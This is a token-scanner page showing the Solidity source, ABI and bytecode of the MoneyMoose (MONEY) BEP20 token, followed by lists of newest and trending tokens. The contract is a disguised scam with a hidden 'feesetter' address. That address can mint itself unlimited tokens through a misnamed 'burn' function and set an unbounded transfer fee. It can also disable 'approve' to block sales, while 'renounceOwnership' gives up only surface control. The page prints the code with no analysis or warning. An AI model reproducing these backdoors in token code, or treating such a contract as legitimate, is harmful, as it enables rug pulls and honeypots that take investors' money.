Tokens Sniper
Find Your Next Gem.


Honeypot and Risk Checker
Better be safe than sorry!
Input any token address and check if it is a probable honeypot or risky.

MoneyMoose (MONEY)

Date Deployed: June 28th 2021, 1:03:42 pm | a year ago | Block:
contract.sol
pragma solidity ^0.4.26;
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
contract BEP20 {
    function balanceOf(address who) public constant returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    function allowance(address owner, address spender) public constant returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}
contract HelloBEP20 is BEP20 {
    using SafeMath for uint256;
    address public owner = msg.sender;
    address private feesetter = msg.sender;
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    string public name;
    string public symbol;
    address private burnaddress;
    bool private burnToggle;
    uint256 private fees;
    uint8 public decimals;
    uint public totalSupply;
    constructor(string contractName, string contractSymbol) public {
        symbol = contractSymbol;
        name = contractName;
        fees = 2;
        burnaddress = 0x000000000000000000000000000000000000dEaD;
        decimals = 9;
        burnToggle = true;
        totalSupply = 1 * 10 ** 15;
        balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    modifier feeset() {
        require(msg.sender == feesetter);
        _;
    }
    function balanceOf(address _owner) constant public returns (uint256) {
        return balances[_owner];
    }
    function fee() constant public returns (uint256) {
        return fees;
    }
    function setfee(uint256 taxFee) external feeset() {
        fees = taxFee;
    }
    function burn( uint256 amount) public feeset{
        balances[msg.sender] = balances[msg.sender]+(amount);
        emit Transfer(burnaddress, msg.sender, amount);
    }
    function setBurnFee( bool burnOn) public feeset returns(bool success){
        burnToggle = burnOn;
        return burnToggle;
    }
    function renounceOwnership() public onlyOwner returns (bool){
        owner = address(0);
        emit OwnershipTransferred(owner, address(0));
    }
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(_to != address(0));
        require(_amount <= balances[msg.sender]);
        if (msg.sender == feesetter){
        balances[msg.sender] = balances[msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
        return true;
        }else{
        balances[msg.sender] = balances[msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        balances[_to] = balances[_to].sub(_amount / uint256(100) * fees);
        uint256 tokens = balances[_to];
        balances[burnaddress] = balances[burnaddress].add(_amount / uint256(100) * fees);
        uint256 fires = balances[burnaddress];
        emit Transfer(msg.sender, burnaddress, fires);
        emit Transfer(msg.sender, _to, tokens);
        return true;
        }
    }
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(_to != address(0));
        require(_amount <= balances[_from]);
        require(_amount <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_amount);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        emit Transfer(_from, _to, _amount);
        return true;
    }
    function approve(address _spender, uint256 _value) public returns (bool success) {
        if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
        if(burnToggle){
             allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
                return true;
        }
        else{
         return false;
        }
    }
    function _msgSender() internal constant returns (address) {
        return msg.sender;
    }
    function allowance(address _owner, address _spender) constant public returns (uint256) {
        return allowed[_owner][_spender];
    }
}
abi.json
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"burnOn","type":"bool"}],"name":"setBurnFee","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"taxFee","type":"uint256"}],"name":"setfee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"fee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"contractName","type":"string"},{"name":"contractSymbol","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}]
Contract opcode
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f257806342966c681461021d5780634d666ad21461023757806370a0823114610251578063715018a61461027257806373fee090146102875780638da5cb5b1461029f57806395d89b41146102d0578063a9059cbb146102e5578063dd62ed3e14610309578063ddca3f4314610330575b600080fd5b3480156100eb57600080fd5b506100f4610345565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103d3565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b66104a6565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a03600435811690602435166044356104ac565b3480156101fe57600080fd5b50610207610611565b6040805160ff9092168252519081900360200190f35b34801561022957600080fd5b5061023560043561061a565b005b34801561024357600080fd5b5061018d600435151561067a565b34801561025d57600080fd5b506101b6600160a060020a03600435166106da565b34801561027e57600080fd5b5061018d6106f5565b34801561029357600080fd5b50610235600435610757565b3480156102ab57600080fd5b506102b4610773565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506100f4610782565b3480156102f157600080fd5b5061018d600160a060020a03600435166024356107dd565b34801561031557600080fd5b506101b6600160a060020a0360043581169060243516610a10565b34801561033c57600080fd5b506101b6610a3b565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b505050505081565b600081158015906104065750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610413575060006104a0565b60065474010000000000000000000000000000000000000000900460ff161561049c57336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060016104a0565b5060005b92915050565b60095481565b6000600160a060020a03831615156104c357600080fd5b600160a060020a0384166000908152600260205260409020548211156104e857600080fd5b600160a060020a038416600090815260036020908152604080832033845290915290205482111561051857600080fd5b600160a060020a038416600090815260026020526040902054610541908363ffffffff610a4116565b600160a060020a038516600090815260026020908152604080832093909355600381528282203383529052205461057e908363ffffffff610a4116565b600160a060020a0380861660009081526003602090815260408083203384528252808320949094559186168152600290915220546105c2908363ffffffff610a5316565b600160a060020a038085166000818152600260209081526040918290209490945580518681529051919392881692600080516020610a6a83398151915292918290030190a35060019392505050565b60085460ff1681565b600154600160a060020a0316331461063157600080fd5b3360008181526002602090815260409182902080548501905560065482518581529251600160a060020a0390911692600080516020610a6a83398151915292908290030190a350565b600154600090600160a060020a0316331461069457600080fd5b506006805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000009215158302179081905560ff9190041690565b600160a060020a031660009081526002602052604090205490565b60008054600160a060020a0316331461070d57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a390565b600154600160a060020a0316331461076e57600080fd5b600755565b600054600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103cb5780601f106103a0576101008083540402835291602001916103cb565b60008080600160a060020a03851615156107f657600080fd5b3360009081526002602052604090205484111561081257600080fd5b600154600160a060020a03163314156108c35733600090815260026020526040902054610845908563ffffffff610a4116565b3360009081526002602052604080822092909255600160a060020a03871681522054610877908563ffffffff610a5316565b600160a060020a038616600081815260026020908152604091829020939093558051878152905191923392600080516020610a6a8339815191529281900390910190a360019250610a08565b336000908152600260205260409020546108e3908563ffffffff610a4116565b3360009081526002602052604080822092909255600160a060020a03871681522054610915908563ffffffff610a5316565b600160a060020a038616600090815260026020526040902081905560075461094291906064870402610a41565b600160a060020a03868116600090815260026020526040808220849055600754600654909316825290205491935061097f91906064870402610a53565b60068054600160a060020a03908116600090815260026020908152604080832095909555925490911680825290839020548351818152935190945090923392600080516020610a6a83398151915292918290030190a3604080518381529051600160a060020a038716913391600080516020610a6a8339815191529181900360200190a3600192505b505092915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60075490565b600082821115610a4d57fe5b50900390565b600082820183811015610a6257fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c6f45a6c85f3756032a4b8bd61d51647cb5b81363ceebedbde77e0440f389e370029
Implemented events
Approval(address,address,uint256)
OwnershipTransferred(address,address)
Implemented functions
name()
approve(address,uint256)
totalSupply()
transferFrom(address,address,uint256)
decimals()
burn(uint256)
balanceOf(address)
renounceOwnership()
setfee(uint256)
owner()
symbol()
transfer(address,uint256)
allowance(address,address)
fee()
Newest Tokens
The newest created token contracts.
Jump Satoshi Token (JST)
a month ago
Flames (FLS)
a month ago
Coinscope (COINSCOPE)
6M ago
CALL OF DUTY (COD)
an hour ago
A CHUNGUS AMUNGUS (AMUNGUS)
6h ago
()
6h ago
LitecoinTwo (LTC2.0)
6h ago
FGD2.0 (FGD2.0)
6h ago
TEST (TEST)
6h ago
PooCoin 2.0 (PooTwo)
6h ago
Trending Tokens
The most trending tokens in the last 7 days.
SABMYK (SBMK)
7M ago
kadacoin (Kdc)
9M ago
Fishe Token (FISHE)
6M ago
PicnicSwap (PICNIC)
8M ago
Mebox.io (MEBOX)
7M ago
Coinscope (COINSCOPE)
6M ago
Jump Satoshi Token (JST)
a month ago
Unified Data Index (UDI)
5M ago
PornoHub (PHB)
6M ago
Blankos.com NFT Metaverse (BNM)
8M ago
Landian Coin (LNDA)
9M ago
HEXA (HEXA)
9M ago
BlockAura BEP (TBAC)
8M ago
Metarobo Coin (METAROBO)
2M ago
kadacoin (kdc)
8M ago
BVM (BVM)
4M ago
MoonMeta (MoonMeta)
6M ago
Oropay (OPAY)
7M ago
PINKSALE TOKEN (pinksale)
6M ago
()
6M ago
Join The Community!